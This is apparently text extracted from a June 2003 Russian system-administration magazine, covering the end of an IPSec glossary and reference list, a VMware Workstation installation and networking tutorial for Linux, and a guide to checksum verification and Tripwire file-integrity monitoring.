протоколом ESP являются основой протокола IPSec. Предназначен для проверки аутентичности и целостности пакетов. Описан в RFC2402 (1998 год). Data Encryption Standard (DES) – алгоритм шифрования. Работает с 56-битным ключом, обрабатывает 64-битный блочный текст. Разработан IBM и Агентством национальной безопасности США. Стандарт закреплен в ANSI X3.106, «American National Standard for Information SystemsData Link Encryption» в 1983 году. Triple Data Encryption Standard (3DES) – усложненный алгоритм на основе DES. Тройное использование DES и трехкратное усиление ключевой системы.

администрирование Secure Hash Algorithm (SHA1) – функция хэширования. Алгоритм определен в 1994 году FIPS PUB 180-1. Результатом обработки является 20-байтовая (160-битовая) величина. MD5 (Message Digest 5) – функции хэширования. Алгоритм определен в 1992 году RFC1321. Результатом обработки является 16-байтовая величина.

Ссылки 1. Security Architecture for the Internet Protocol. RFC2401 November 1998. http://www.rfc-editor.org/cgi-bin/rfcdoctype.pl?loc=RFC&letsgo=2401&type=ftp&file_format=txt. 2. IP Authentication Header. RFC2402 November 1998. <http://www.rfc-editor.org/cgi-bin/rfcdoctype.pl?loc=RFC& letsgo=2402&type=ftp&file_format=txt>. 3. IP Encapsulating Security Payload (ESP). RFC2406 November 1998. <http://www.rfc-editor.org/cgi-bin/ rfcdoctype.pl?loc=RFC&letsgo=2406&type=ftp&file_format=txt>. 4. Проектирование виртуальных частных сетей в среде Windows 2000. Тадеуш Фортенбери, Издательский дом «Вильямс», 2002 год. 5. Новые технологии и оборудование IP-сетей. В.Олифер, Н.Олифер, BHV – Санкт – Петербург; Серия: Мастер (“BHV“), 2000 год. 6. Поддержка протокола безопасности IP в Microsoft

№6(7), июнь 2003

Windows 2000 Server. Информационный документ Microsoft. <http://www.networkdoc.ru/files/insop/win2000/ w2k_ipsecurity.doc>. 7. Аутентификация по протоколу Kerberos в Windows 2000. Информационный документ Microsoft. <http://www.networkdoc.ru/files/insop/win2000/w2k_kerberos.doc>. 8. IPSec, NAT, брандмауэры и VPN. Альфред Брот. <http://www.osp.ru/lan/2003/01/024.htm>. 9. Улучшенный вариант IPSec. <http://www.osp.ru/nets/2003/04-05/000_15.htm>. 10. Развертывание сети VPN. Павел Покровский. <http://www.osp.ru/lan/2003/01/020.htm>. 11. IpSec соединение между FreeBSD и Windows 2000. Станислав Лапшанский. <http://www.opennet.ru/base/net/ bsd_win_vpn.txt.html>. 12. VPN-технологии защищенного обмена конфиденциальной информацией. C.Петренко. <http://www.cinfo.ru/CI/ CI_219_35/InfSecurity/VPN_219.htm>. 13. Безопасность в Windows XP. Камилл Ахметов. <http://bytemag.ru/Article.asp?ID=604>. 14. Глобальный доступ в частные сети. Ярослав Городецкий, Алексей Клочков. <http://www.setevoi.ru/cgi-bin/ textprint1.pl/magazines/2000/11/42>. 15. Отказоустойчивость, анализ и настройка безопасности и IPSec. Dan DiNicolo. <http://www.networkdoc.ru/ trainers2000/print.html?win2000/article12.html>.

администрирование

ВИРТУАЛЬНЫЙ КОМПЬЮТЕР

ДЕНИС КОЛИСНИЧЕНКО

администрирование В этой статье мы поговорим о лучшем, на мой взгляд, эмуляторе VM Ware. Как и у любого пользователя, мигрировавшего на Linux, у меня осталось несколько программ в мире Windows. Кому же хочется несколько раз в день перезагружать операционную систему (хотя, работая с Windows 98, это неизбежно)? Поэтому я начал искать какой-нибудь эмулятор, который бы позволил, не выгружая Linux, запускать Windows-программы. От эмулятора много не требовалось: только запуск Delphi и MS Office (разумеется, кроме запуска нужно, чтобы эти программы нормально работали). Свой поиск я начал с установленного на моей машине дистрибутива. Практически в любом дистрибутиве можно найти эмулятор wine. Но он оказался не только неудобным, но и вообще непригодным для использования. В эмуляторе «со скрипом» работал Блокнот, а на запуск WinAMP ушла целая вечность, при этом последний заикался и картавил. Все попытки русифицировать тот же Блокнот не увенчались успехом. Сами понимаете, о запуске Delphi или MS Word вообще не может быть и речи. Через некоторое время мне попался «под горячую руку» эмулятор wineX, но кроме как для запуска Windows-игрушек, он больше ни на что непригоден. Относительно него могу сказать: да, игры запускались, но не все, а те, которые запустились, медленно работали. Было бы несправедливо с моей стороны забыть об эмуляторе Win4Lin. Это довольно добротный эмулятор, позволяющий запускать самые популярные Windows-программы, например, MS Office 2000/XP, Photoshop, Corel Draw. Стоит отметить высокую производительность эмулятора по сравнению с другими продуктами. Но у меня как-то не сложились отношения с Win4Lin. Почему-то он мне не понравился: может быть, повлияли некоторые ограничения третьей версии, которые были позже устранены в новой, четвертой, версии, а может быть небольшие проблемы при установке. Но, наверное, самой весомой причиной была месяц назад установленная вторая версия VM Ware. Сейчас уже появилась версия VMWare 3.2, в которой устранены многие ограничения второй версии. Относительно эмулятора Win4Lin могу сказать: очень хороший продукт, а то, что мне больше понравился VM Ware, является только моим субъективным мнением: о вкусах не спорят. Установите Win4Lin, может быть, он станет первым и единственным Windows-эмулятором на вашем компьютере. Чем же хорош VM Ware? В самом начале статьи я написал, что VM Ware – это эмулятор Windows. Простите, я вам соврал. VM Ware – это нечто большее, чем просто эмулятор форточек. Представьте себе некий виртуальный компьютер, в который можно установить следующие операционные системы: Windows 95; Windows 98/SE/ME; Windows NT 4 Server/Workstation; Windows 2000/XP; FreeBSD; Linux (да, даже Linux). Именно эти операционные системы поддерживает эмулятор VM Ware. В мире VM Ware есть два термина: основная (host) и гостевая (guest) операционныe сис-

№6(7), июнь 2003

темы. Перечисленные выше операционные системы являются гостевыми, то есть их можно установить в VM Ware, работающий под управлением основной операционной системы. В качестве основной операционной системы могут выступать операционные системы Linux и Windows NT/2000. Эмулятор позволяет одновременно запускать две ОС – одна будет выполняться на нормальном компьютере, а вторая – в виртуальном, в среде VM Ware. Например, работая в Linux, вы можете запустить операционную систему Windows в эмуляторе как обыкновенное приложение, и переключаться между операционными системами как между обыкновенными окнами. Я тестировал следующие гостевые операционные системы: Windows 95/98; Windows NT 4 Server; Linux. Что мне понравилось – так это надежность. Ни разу за весь период эксплуатации Windows 98 у меня не завис. А виртуальный Linux работал в качестве шлюза и отлично справлялся с поставленной задачей. Что не понравилось – скорость работы, особенно операционной системы Windows NT Server. При работе с Windows 95/98 мой виртуальный компьютер работал со скоростью неплохого Intel Pentium 166 Mhz 32MB RAM, хотя VM Ware создал такую виртуальную конфигурацию: Intel Celeron 400 Mhz 64 MB RAM. Работая под Windows 95/98, меня вполне устроила производительность приложений: Delphi 3 Client/Server Suite; MS Office 97/2000; WinAMP; The Bat! Кроме этих приложений я запускал Corel Draw и 1С: Предприятие, но ничего конкретного сказать об их работе не могу, поскольку запустить-то я их запустил, но больше не работал с ними. Вообще в эмуляторе запускаются и нормально работают все офисные приложения, то есть те приложения, которые не требуют функций DirectX. Относительно игрушек могу сказать лишь одно: установите нормальную версию Windows 98 только для игр, игра в эмуляторе (в любом) вам не доставит никакого удовольствия. Для чего нужна VM Ware, вы уже поняли. Кроме того, VM Ware – это настоящая находка для разработчика программного обеспечения и системного администратора. Первый может разрабатывать приложение, работая в Windows 2000, а потом без перезагрузки сразу же протестировать его работу в Windows 98. Системный администратор может протестировать настройки своего сервера, запустив виртуальный компьютер-клиент. Специально для этого виртуальный компьютер может работать в одном из трех основных режимах доступа к сети: Без сети; Host-only networking; Bridged networking.

администрирование Существует еще и комбинированный метод доступа к сети – Bridged and Host-only Networking, который сочетает сразу два метода доступа к сети – второй и третий. Первый режим нас вообще не интересует и не будет рассмотрен. Если вы выбрали второй режим, Host-only networking, то ваш виртуальный компьютер будет виден только во внутренней сети VM Ware, созданной с помощью модуля vmnet. Этот режим нужно выбрать, если вы не подключаетесь к локальной сети: тогда в виртуальной сети будут два компьютера – настоящий и из мира Матрицы. Если вы выберете этот режим и подключитесь к локальной сети, то ваш виртуальный компьютер будет видеть все узлы локальной сети, но ни один узел сети не будет видеть его – будет виден только ваш реальный компьютер. Шлюзом для виртуального компьютера будет выступать настоящий. В третьем режиме ваш виртуальный компьютер будет видеть все узлы, и все узлы будут видеть его и думать, что он является реальным узлом. Тогда виртуальному компьютеру потребуется присвоить имя, которое желательно прописать в DNS-сети. Этот режим является оптимальным при работе в сети. Прежде чем перейти к установке и настройке, нужно сказать о системных требованиях эмулятора. Для более или менее комфортной работы с гостевой операционной системой вам потребуются: Процессор с частотой не менее 400 Mhz (чем больше, тем лучше). Не менее 64 Мб оперативной памяти (я вообще рекомендую установить 128 Мб). Свободное место на винчестере для гостевой операционной системы и для самого эмулятора (занимает довольно немного места). $300. С первыми тремя требованиями ваш компьютер, не сомневаюсь, справится. А вот как насчет последнего? Именно столько стоит лицензия на VM Ware. Вот теперь можно приступить к настройке эмулятора. Заходим на сайт www.vmware.com и загружаем пакет VMware-workstation-3.2.0-2230.i386.rpm. Версия 3.2 является самой новой на момент написания этих строк. Она занимает около 12 Мб, для ее работы нужно ядро 2.4.*, если, конечно, вы работаете под Linux. Вы можете загрузить вторую версию эмулятора – она весит около 6 Мб, но для ее работы необходимо ядро 2.2.*. Кстати, вариант VM Ware 2 + ядро 2.2 является оптимальным для не очень быстрой машины, например, Intel Celeron < 400 Mhz и 64 Мб ОЗУ. Можно также загрузить откомпилированные модули для вашего ядра, но я не рекомендую этого делать. Лучше перекомпилировать модули под ваше ядро. Для этого вам потребуются установленные исходные тексты ядра и нормально работающий компилятор gcc. После загрузки программы необходимо зарегистрироваться и получить лицензию. Для версии 2.0 – это файл license_XXXXXX_XXX, который нужно поместить в каталог ~/.vmware, а для версии 3.0 – это ключ, который надо ввести по просьбе программы. Письмо с файлом лицензии или ключом придет на ваш почтовый ящик.

Ðèñ. 1. Ðåãèñòðàöèÿ ýìóëÿòîðà.

Установите VM Ware командой: rpm –ihv VMware-workstation-3.2.0-2230.i386.rpm

После установки VM Ware запустите программу vmware-config.pl. Обе эти команды нужно вводить, зарегистрировавшись как пользователь root. Скрипт vmwareconfig.pl предложит вам откомпилировать модули. Если же нужные модули будут найдены в каталоге /usr/lib/ vmware/modules/binary, они будут скопированы в каталог /lib/modules.

Просто нажмите Enter в знак вашего согласия. Затем скрипт спросит вас, где хранятся файлы заголовков. По умолчанию используется каталог /usr/src/linux/include.

Здесь также нажмите Enter. После этого программа попытается собрать модуль vmnet. Если модуль будет успешно откомпилирован, программа повторит первые два вопроса, но для модуля vmppuser. Затем вам будет задан ряд вопросов, например, хотите ли включить поддержку сети. Самый первый вопрос будет звучать так:

Если вы хотите включить поддержку сети (очень рекомендую!), вам нужно ответить yes на этот вопрос. После этого вы увидите два сообщения: из первого мы узнаем, что конфигуратор создал интерфейс vmnet0 для работы в режиме Bridged Networking, а из второго – что был создан интерфейс vmnet8 для работы в режиме NAT. Затем вам будет предложено использовать неиспользуемую сеть для виртуального компьютера. Откажитесь от этой возможности, ведь мы же хотим поместить его в нашу реальную сеть.

После этого введите IP-адрес виртуального компьютера и маску сети:

администрирование Не нужно использовать первый IP-адрес (например, 192.168.1.1), поскольку он будет назначен основному компьютеру. После этого вас спросят, хотите ли вы включить поддержку Host-only networking.

Если ваша машина не подключена к локальной сети, Host-only networking – это единственный способ связи между вашими машинами, поэтому не стоит отказываться от него. В случае положительного ответа, конфигуратор настроит интерфейс vmnet1 для работы в режиме Hostonly networking. Следующий вопрос:

Если вы ответите да, будут установлены сервер DHCP и пакет Samba для организации доступа виртуальных машин к вашей файловой системе. В качестве сервера Samba будет использоваться ваш основной компьютер – 192.168.1.1. В случае если на вашем компьютере уже установлен и настроен пакет Samba, не рекомендуется отвечать «Да» на этот вопрос. Вам также будет задан вопрос о средстве выбора режима работы сети виртуальной машины: wizard или editor. Пока введите wizard, а позже, когда узнаете, о чем шла речь, сможете переконфигурировать VM Ware (или прочтите всю статью до конца). Затем вам будет предложено прочесть лицензию на DHCP-сервер и установить параметры VM Ware Samba. В качестве имени пользователя введите имя, под которым вы обычно регистрируетесь в системе, пароль введите тот же:

конфигурации VM Ware – виртуальной машины. Правда, это окошко вы увидите только после ввода серийного номера. Вам доступны три режима продолжения работы: Run Configuration Wizard Run Configuration Editor Open an Existing Configuration Мастер конфигурации (Configuration Wizard) позволяет быстро создать новую конфигурацию – через пару щелчков мыши у вас будет еще один компьютер, правда, виртуальный. Редактор конфигурации (Configuration Editor) позволяет более точно настроить вашу конфигурацию. Выбрав третий режим, вы можете открыть существующую конфигурацию, но пока нам открывать нечего. Запускаем Мастера и следуем его указаниям. Мастер предложит вам: Выбрать тип гостевой операционной системы. Выбрать каталог, в котором будут находиться файлы виртуальной машины. Чтобы было меньше проблем с правами доступа, укажите подкаталог вашего домашнего каталога. Естественно, если вы – root, то вам можно использовать любой каталог, хоть /var. Выбрать тип жесткого диска и установить его размер. Выбор привода CDROM виртуального компьютера. Выбор режима доступа к сети – Host-only networking или Bridged networking. Это окно появится только в том случае, если вы при настройке VM Ware с помощью vmware-config ввели wizard в ответ на вопрос о средстве конфигурации режима сети. Если вы при настройке выбрали editor, вы сможете изменить тип виртуальной машины с помощью Редактора конфигурации.

Вы можете добавить несколько пользователей сразу.

Ðèñ. 2. Âûáîð âèðòóàëüíîé ìàøèíû.

Теперь ваш VM Ware готов к работе. Далее нам предстоит сконфигурировать виртуальную машину. Запустите систему X-Window, если она у вас еще не запущена, и введите команду vmware в окне терминала. Эмулятор проверит видеорежим и отобразит на экране окошко выбора

№6(7), июнь 2003

Ðèñ. 3. Âûáîð ÎÑ äëÿ âèðòóàëüíîãî êîìïüþòåðà.

Будто бы ничего сложного, но мы подробнее остановимся на выборе диска и устройства CDROM. Вы можете выбрать виртуальный диск (New Virtual Drive) или использовать существующий физический диск машины (Existing

администрирование Physical Disk). В первом случае в каталог, который вы ввели на втором шаге Мастера, будет помещен файл с расширением .dsk и именем вашей виртуальной машины. Использование виртуального диска – это самое оптимальное решение. Использовать реальный диск очень не рекомендую, так как файлы гостевой системы будут расположены прямо в каталогах вашей основной операционной системы. С одной стороны, это удобно, так как можно получить доступ к файлам виртуальной машины без ее запуска, но лучше не рисковать и использовать виртуальный диск – в крайнем случае, если что-то случится с виртуальным диском, файлы физического диска не будут повреждены. Когда вам будет предложено ввести размер жесткого диска, не изменяйте максимальное значение: VM Ware создаст файл размером 3k, который будет расти по мере необходимости. А вот если вы укажите точный размер диска, например, 1024 Mb, у вас на диске появится файл размером в 1 Gb. В версии 2.0 существовало ограничение на максимальный размер диска – 2000 Mb. В более поздних версиях (3.0, 3.2) это ограничение снято.

Ðèñ. 4. Çàïóñê âèðòóàëüíîé ìàøèíû.

При выборе CDROM вам нужно ввести имя устройства, например, /dev/cdrom или /dev/hdd, если CDROM подключен как Secondary Slave. Включите режим Start with CDROM connected, если хотите, чтобы CDROM был доступен при запуске виртуальной машины. Все! Вот теперь вы можете нажимать кнопку Power On и устанавливать Windows. Перед установкой желательно запустить Редактор конфигурации и изменить некоторые параметры на свой вкус. Помните, что для работы какихлибо устройств в виртуальной машине нужно, чтобы Linux поддерживал эти устройства, поэтому не удивляйтесь, если в виртуальной машине не будет работать ваш Windows-модем, который вы так и не смогли заставить работать в Linux. При установке Windows выберите тип видеоадаптера VGA 640x480x16. Затем, после установки, выполните команду меню VM Ware Settings, VM Ware Tools Install. После этого на вашем виртуальном дисководе появится виртуальная дискета, на которой как раз и будет драйвер для видеоплаты. Отройте «Ваш Компьютер» и запустите программу VMWare Tools с вашей виртуальной дискеты. Теперь запустите панель управления Windows и измените драйвер видеоплаты. При выборе драйвера выберите установку с диска и введите A:\WIN9X. Если вы выбрали Host-only networking, то при настройке сети те параметры, которые вы ввели при настройке этого режима с помощью скрипта vmware-config.pl. Например, если вы ввели сеть 192.168.1.0, но именно эту сеть вам нужно указать в параметрах TCP/IP (ее маска 255.255.255.0). Шлюзом по умолчанию для вас будет компьютер 192.168.1.1 – это ваша реальная операционная система, а виртуальный компьютер получит адрес 192.168.1.2. Вот теперь уж действительно «все» и вы можете преспокойно работать в Windows, который запущен в окошке KDE (или другого менеджера). В этой статье я описал лишь базовые настройки VMWare. Надеюсь, что со все остальные возможности вы освоите самостоятельно. Все ваши вопросы вы можете задать мне по адресу dhsilabs@mail.ru.

безопасность

Из всех аспектов деятельности системного администратора наиболее интересным и в то же время самым сложным является обеспечение безопасности существования системы. Эту тему на различных курсах обычно излагают довольно поверхностно, но защита, определенно, наиболее важная часть работы, вне зависимости от назначения компьютера и типа операционной системы, установленной на нем. После того как компьютер станет доступным тысячам пользователей в Интернете или даже десятку сотрудников в небольшом офисе, придется львиную долю времени уделять проблеме бесперебойной и стабильной работы сервера, недопущению утечки конфиденциальной информации. Причем уделять внимание данному вопросу необходимо не время от времени, а целенаправленно и постоянно. Иначе в один прекрасный день на главной странице сайта появится надпись, что ваш сайт взломан. И это, кстати, не самое страшное, что может произойти. По теории защиты написано много книг и много еще будет написано. Это очень сложная тема, и надеяться, что в одной статье будут даны ответы на все вопросы, тоже не стоит.

СЕРГЕЙ ЯРЕМЧУК

безопасность Начнем, пожалуй, с покупки дистрибутива. Лицензия Linux/ FreeBSD хоть и позволяет использовать дистрибутив, купленный на радиорынке, так же, как и купленный официально, но доверять веб-сервер стоимостью свыше тысячи у.е. диску за несколько десятков рублей я бы не стал. Вполне вероятно, что это просто слитый с сайта ISO-образ, записанный на болванку, но точно гарантировать этого никто не может. Кто помешает заменить некоторые пакеты на доработанные под свои нужды с трояном внутри. Причем выдумывать самому ничего и не надо, все давно уже есть в паутине. Если все же другого выхода нет, или просто есть необходимость в установке программы, не входящей в основной дистрибутив, то всегда его нужно проверить на контрольную сумму. На большинстве ftp-архивов рядом с файлом можно найти информацию о контрольной сумме: либо в отдельном файле, например, CHECKSUM.MD5, либо непосредственно на веб-странице. Такая проверка по алгоритму MD5 хоть как-то гарантирует, что в файле никаких изменений не произведено, и перед вами действительно находится оригинал. Узнать контрольную сумму скачанного файла очень просто: $ md5sum mysql-max-3.23.55-unknown-freebsd4.7-i386.tar.gz 99b543fbe12c2980c66d365ca68e819b

Теперь, сравнив обе контрольные суммы, можно сделать вывод. Проверка контрольной суммы должна войти в привычку при каждой установке программного обеспечения. По этой же причине никогда не стоит брать файл с первого попавшегося сервера, лучше всего зайти на домашнюю страницу или специальные сайты, предназначенные для этого: http://rpmfind.net/, http://www.freshports.org/. И еще один момент, связанный с установкой новой программы под FreeBSD. Если понадобилась программа, которой нет в дистрибутиве, или ее новая версия, тогда, несмотря на то что можно пойти сразу на сайт и скомпилировать ее из исходников, советую все же сначала обратиться к дереву пакаджей или портов. Включение в них утилиты свидетельствует о том, что программа прошла некоторое тестирование на совместимость и безопасность и не станет, по крайней мере, причиной краха системы. В данном случае проверка контрольной суммы происходит автоматически без вмешательства пользователя. К тому же это самый простой и безопасный способ установить новое ПО на вашу систему. Бывает, что компиляция с помощью порта, в том числе и по причине неправильной контрольной суммы, завершается с ошибкой. Здесь может помочь обновление дерева портов. В крайнем случае можно обратиться к человеку, поддерживающему данный порт (MAINTAINER), за консультацией и помощью. Узнать электронный адрес очень просто. Зайдите в каталог нужного порта и дайте команду:

вит или, скорее всего, изменит некоторые программы. При этом, например, стандартная и довольно часто используемая программа ps может быть заменена на другую с трояном внутри, а команда ls может не заметить созданные злоумышленником каталоги. Чтобы избежать такого безобразия и иметь некоторый инструмент, позволяющий проконтролировать целостность системных файлов, применяются утилиты, которые автоматически проверяют значения контрольных сумм файлов и каталогов и заносят их в свою базу данных. Впоследствии системный администратор может в автоматическом режиме сверить оригинальную, созданную при установке, базу данных с имеющимися в системе файлами и при расхождении контрольных сумм выдать предупреждение по электронной почте. В таком случае можно сразу узнать о вторжении и оценить ущерб. При этом сразу хочется отметить, что данные средства отнюдь не отменяют, а, скорее, дополняют другие методы защиты. Причем средства, контролирующие состояние файлов, имеют некоторое преимущество перед программами, выявляющими вторжение по наличию определенных сигнатур, хотя ничто не мешает использовать комплексный подход. Наиболее популярным средством для решения этой задачи является утилита Tripwire. Данная утилита доступна как OpenSource (http://www.tripwire.org/) и как 30-дневная ознакомительная версия (http://www.tripwire.com/). Скачать утилиту можно с сайта http://download.sourceforge.net/ tripwire/, по последнему адресу дополнительно можно найти документацию tripwire-docs. Для FreeBSD проще установить OpenSource Tripwire, воспользовавшись системой портов. $ cd /usr/ports/security/tripwire $ make install clean

Единственный момент при установке, который может вызвать замешательство,– это когда программа спрашивает после просмотра лицензии: Please type "accept" to indicate your acceptance of this license agreement. [do not accept]

Необходимо напечатать accept, нажатие Enter приведет к немедленному выходу из программы установки и ее придется повторить. При компиляции в других системах первоначально необходимо раскомментировать строки в файле <src-root>/ src/Makefile для переменной SYSPRE в соответствии с используемой системой (Linux по умолчанию). Далее следует ввести: make all

или $ more Makefile | grep MAINTAINER MAINTAINER= anarcat@anarcat.dyndns.org

Отправьте по этому адресу вывод компилятора и информацию о системе (uname -a) и не забудьте заранее поблагодарить за помощь. С помощью контрольной суммы можно не только проконтролировать устанавливаемые программы. Первое, что злоумышленник произведет в вашей системе, – это устано-

№6(7), июнь 2003

make *_r(d )

для установки одной выбранной программы и следовать дальнейшим указаниям программы. Установочные скрипты сами создадут ключи и инициируют базу данных. После установки при помощи rpm-пакетов следующим шагом необходимо произвести первоначальную

безопасность инициализацию базы данных. Но для того чтобы не пришлось этого делать дважды, лучше всего сразу отредактировать файлы конфигурации и политик. Для этого в каталоге /etc/tripwire (/usr/local/etc/tripwire – FreeBSD) имеются два шаблона в виде текстовых файлов. В файле twcfg.txt содержится системно-специфическая информация о размещении файлов базы данных, редактор, используемый по умолчанию, программа и ее параметры для отправки почты. А в файле twpol.txt – файл политики, состоящий из серии правил, что должен контролировать tripwire, данные для объектов контроля, серьезность контролируемого объекта и адрес электронной почты (emailto =) для каждой группы контроля, на который высылается уведомление о нарушении (если требуется указать сразу несколько адресов – все их можно перечислить через запятую). Здесь же желательно сменить TEMPDIRECTORY = /tmp на каталог с нормальными правами доступа (в /tmp для всех rwx). Чтобы защитить против неправомерной модификации все важные Tripwire-файлы, они сохранены на диске в закодированной и подписанной форме. Сама база данных, политики, конфигурация и опции файла отчета защищены с El Gamal асимметричной криптографией с сигнатурой в 1024 бита. El Gamal использует набор ключей с одним открытым ключом и одним закрытым ключом шифрования. В криптографической системе Tripwire два файла ключей хранят public/private ключевую пару. Файлы конфигурации и политики защищаются от записи общим ключом, а сама база данных и отчеты – локальным ключом. Для чтения достаточно доступного публичного ключа, для записи требуется частный ключ, защищаемый парольной фразой. Поэтому после их редактирования, в соответствии с реальными настройками системы, необходимо запустить скрипт twinstall.sh, находящийся в этом же каталоге. Далее программа запросит site- и local-фразы (желательно не менее 8 символов) для генерации соответствующих ключевых пар. После этого в каталоге образуются зашифрованные файлы конфигурации и полиса tw.cfg и tw.pol, а также файлы ключей (/etc/tripwire/site.key и /etc/tripwire/hostlocal.key). В целях безопасности рекомендуется после окончания процедуры инсталляции удалить файлы шаблонов с данного каталога. Далее инициируем базу данных. #

/usr/sbin/tripwire--init

При этом после запроса локального пароля программа создает отпечаток важных системных файлов (размер, контрольная сумма, права, время доступа и т. д.), записывает ее в файл в каталоге /var/lib/tripwire/$(HOSTNAME).twd. Во время создания базы данных обратите внимание на сообщения об ошибках. Например: ### ### ### ### ### ### ###

Filename: /bin/ash No such file or directory Continuing... Warning: File system error. Filename: /bin/ash.static No such file or directory Continuing...

Это означает, что в конфигурационном файле занесена излишняя информация. Желательно тут же подправить, иначе эти сообщения потом постоянно будут вас преследовать и дополнительно перегружать лог-файл. Затем эта база данных ежедневно сравнивается с текущим состоянием файловой системы, позволяя обнаружить добавленные, измененные и удаленные файлы, с выдачей довольно подробных отчетов. Такое расположение файла удобно при запуске утилиты проверки согласованности файловой системы с помощью демона cron, позволяющей полностью автоматизировать данный процесс, включая информирование по указанному электронному адресу о результатах проверки. Но обнаружив присутствие утилиты при получении определенных прав, злоумышленник может заменить (обновить) базу данных или полностью переустановить tripwire (что гораздо проще), и после такой модификации утилита проверки не заметит подвоха. И вы будете получать по почте сообщения о том, что с системой все нормально, пока в один прекрасный день не обнаружите несовпадение парольных фраз. Такой вариант также предусмотрен разработчиками, для этого необходимо поместить отформатированную дискету в дисковод и присвоить значению переменной TRIPWIRE_FLOPPY= YES с командой make install: $ make install TRIPWIRE_FLOPPY= YES

чтобы создать резервную базу данных: $ make floppy

После этого на дискете окажется все, что необходимо для восстановления системы и автономной работы утилит: копия начальной базы данных системы и дополнительно утилиты tripwire, twcheck и gunzip и копия файла tw.config. Хотя есть вероятность, что все это не поместится в 1.44 MB флоппи-диска даже после архивирования, единственным выходом будет уменьшить количество объектов базы данных. В любом случае желательно резервировать всю систему на всякий случай и Tripwire в том числе, и периодически сверять оригинальную и рабочую базы данных. Проверить систему можно запустив программу tripwire без аргументов (или tripwire --check, кому как нравится), при этом программа сравнивает текущее состояние системы с сохраненным в базе данных и при несоответствии выдает сообщение, при этом отмечается даже такая мелочь, как изменение времени модификации программы. Аналогично производит ежедневную проверку демон cron посредством /etc/cron.daily/tripwire-check. А чтобы не ждать, пока система все проверит, можно указать опцию --email-report: $ tripwire --check --email-report

и сообщение электронной почты будет послано всем получателям, указанным в файле политики, используя формат сообщения, определенное в EMAILREPORTLEVEL. Но перед началом эксплуатации желательно проверить работу электронной почты с помощью команды: $ tripwire --test --email user@domain.com

безопасность Если нет необходимости в проверке всей системы, то можно сразу указать, какие объекты необходимо проверить.

Для обновления всей системы: $ tripwire --update /usr/sbin/sshd

$ tripwire --check object1 object2 object3

Все системные файлы разбиты по группам важности, что позволяет более гибко строить отчеты, не обращая внимания на некритические для системы файлы, и наоборот. Например, чтобы выполнить проверку для файлов, начиная от средней степени важности и выше, можно ввести такую команду: # tripwire --check --severity 66

Или используя поверку правил по имени rulename, которые прописаны в файле tw.pol. Например, для проверки системных файлов: # tripwire --check --rulename "File System and Disk ↵ Administraton Programs"

Конечно же, при необходимости частого использования данного типа проверки желательно длинные имена, используемые в файле по умолчанию, заменить на свои, покороче. Ключ --interactive позволяет изменить БД в диалоговом режиме. Запускается текстовый редактор при помощи --visual имя-редактора или прописанный в переменной EDITOR в конфигурационном файле (или переменные окружения VISUAL или EDITOR) и предоставляется возможность отредактировать форму изменения БД, в которой каждый заносимый файл надо отметить крестиком в секции Object Summary, при этом запрашивается парольная фраза. Конечно же, со временем некоторые утилиты обновляются или удаляются и заменяются другими, поэтому с помощью опции --update можно обновить базу данных: $tripwire --update

А если указать конкректную программу, то обновляются сведения только о ней. Программа после проверок создает отчет, по умолчанию это файл /var/db/tripwire/report/(HOSTNAME)-$(DATE).twr. Файл после создания будет иметь примерно такое название: localhost-20030327-071039.twr Но при помощи команды: # tripwire --check --twrfile /var/lib/report/myreport.twr

можно задать свой файл отчетов, что удобно использовать в самостоятельно написанных скриптах. По умолчанию при генерации отчетов используется REPORTLEVEL=3 (Concise Report), отражающий довольно подробную информацию с выводом ожидаемых и наблюдаемых значений и прочее, который можно изменить в файле tw.cfg. Tripwire позволяет гибко задавать отчеты, в зависимости от необходимости в той или иной информации, для этого на ходу изменяется report_level в пределах от 0 до 4. # twprint --print-report --report-level 1 --twrfile ↵ /var/lib/report/report.twr

При необходимости внесения глобальных изменений всегда можно будет получить расшифрованную копию конфигурационного файла при помощи команды: # twadmin –print-cfgfile >

/etc/tripwire/twcfg.txt

После внесения необходимых изменений и сохранения зашифрованный файл создается командой: # twadmin --create-cfgfile --site-keyfile ↵ /etc/tripwire/site.key /etc/tripwire/twcfg.txt

Уровни отчетов Уровень 0 Отчет одной строкой. Появляется всегда в строке Subject отчета, высылаемого по e-mail. TWReport имя-хоста дата-и-время V:число-нарушений S:макс-уровень A:добавлено R:удалено C:изменено TWReport LIGHTHOUSE 19991021134026 V:45 S:100 A:2 R:1 C:6

удаленных файлов. Секция Object Summary содержит подробный список файлов, которых затронули изменения.

Уровень 3 Суммарный отчет, включает список нарушений с указанием имен правил, список добавленных и удаленных файлов, ожидаемые и реальные свойства измененных файлов. Также выводит дополнительные подробности.

Уровень 1 Список имен измененных файлов в виде, легко разбираемом программой автоматического восстановления или подобной. Каждая строка состоит из ключевого слова (Added, Modified), двоеточия и имени файла. Added: /usr/bin/bash Modified: /usr/bin

Уровень 2 Суммарный отчет, включает список нарушений с указанием имен правил, список добавленных, измененных и

№6(7), июнь 2003

Уровень 4 Суммарный отчет, выводящий максимальное количество деталей, список нарушений с указанием имен правил, список добавленных, измененных и удаленных файлов, детальный отчет по каждому добавленному файлу (все свойства), каждому измененному файлу (все проверяемые, ожидаемые и реальные свойства), каждому удаленному файлу (все проверяемые и ожидаемые свойства). При этом отличающиеся параметры помечаются звездочкой в начале строки.

безопасность Аналогично при добавлении новых файлов, которые вы желаете контролировать, изменении уровня значимости или удалении старых, при изменении адресов электронной почты и засорении файла отчетов ложными сообщениями, захочется изменить файл политик. Создаем копию файла политик:

# twprint --print-dbfile > db.txt

Или для произвольной базы данных: # twprint --print-dbfile --dbfile otherfile.twd > db.txt

Аналогично для файла с отчетом: # twadmin --print-polfile > /etc/tripwire/twpol.txt # twprint --print-report --twrfile èìÿ-ôàéëà-ñ-îò÷åòîì

И после внесения необходимых изменений модифицируем политики: # tripwire --update-policy /etc/tripwire/twpol.txt

Ключевые site- и local-файлы образуются во время первого запуска, но иногда возникает необходимость в их полной замене. Парольная фраза меняется только одновременно со сменой ключей, поэтому чтобы сменить парольную фразу, надо предварительно дешифровать все файлы, сгенерировать новые ключи, затем уже зашифровать файлы с новыми ключевыми данными. При этом, если забудете парольную фразу или удалите файлы с ключами, то зашифрованные файлы, т.е. конфигурация, политики, база данных и отчеты при их шифровании будут недоступны. В этом случае лучшим решением будет переустановка всей системы. И кстати, шифровка также не помешает хакеру при наличии определенных прав просто удалить любой файл, включая саму базу данных tripwire, поэтому использование tripwire не отменяет обязательности резервного копирования. Узнать, какой ключ был использован (и был ли вообще) для шифровки файла можно при помощи: # twadmin --examine file1 file2

Убрать шифровку ( при этом запрашивается парольная фраза, сам файл остается в двоичном формате): #

twadmin --remove-encryption file1 file2

